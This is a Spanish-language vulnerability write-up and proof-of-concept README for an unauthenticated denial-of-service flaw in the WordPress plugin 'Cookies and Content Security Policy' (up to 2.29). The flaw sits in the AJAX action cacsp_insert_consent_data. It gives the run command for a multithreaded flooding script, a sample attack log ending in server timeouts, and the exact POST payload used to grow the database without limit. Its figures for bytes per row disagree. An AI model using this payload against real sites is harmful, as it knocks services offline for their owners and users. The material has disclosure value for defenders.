
Control de acceso incorrecto en la funcionalidad del endpoint AJAX en el plugin jonkastonka Cookies and Content Security Policy hasta la versión 2.29.
El control de acceso incorrecto en la funcionalidad del endpoint AJAX en el plugin Cookies and Content Security Policy de jonkastonka hasta la versión 2.29 permite a atacantes remotos causar una denegación de servicio (agotamiento de recursos del servidor de base de datos) mediante operaciones ilimitadas de escritura en la base de datos al endpoint wp_ajax_nopriv_cacsp_insert_consent_data.
La vulnerabilidad existe en la función cacsp_insert_consent_data(), que se expone a través del endpoint AJAX de WordPress (wp-admin/admin-ajax.php) sin requisitos de autenticación. El plugin utiliza la acción wp_ajax_nopriv_, lo que la hace accesible a usuarios no autenticados.
Vector de ataque: Los atacantes remotos pueden enviar solicitudes POST concurrentes ilimitadas para abrumar al servidor de base de datos con operaciones de escritura, provocando el agotamiento de la CPU y de E/S del disco.
requestsmatplotlibthreadingEl uso básico del script PoC es el siguiente:
python payload.py --target <target_url> --threads <number_of_threads>
Por defecto, el número de hilos está establecido en 100. Puedes especificar un número diferente de hilos proporcionándolo como segundo argumento.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
El exploit envía solicitudes POST a /wp-admin/admin-ajax.php con:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
Cada solicitud exitosa inserta una nueva fila en la base de datos que contiene:
Resultado: ~89 bytes por solicitud × solicitudes ilimitadas = crecimiento rápido de la base de datos
Este PoC es solo con fines educativos. El autor no es responsable de ningún uso indebido o daño causado por el uso de este código. Obtén siempre permiso antes de probar contra cualquier sistema.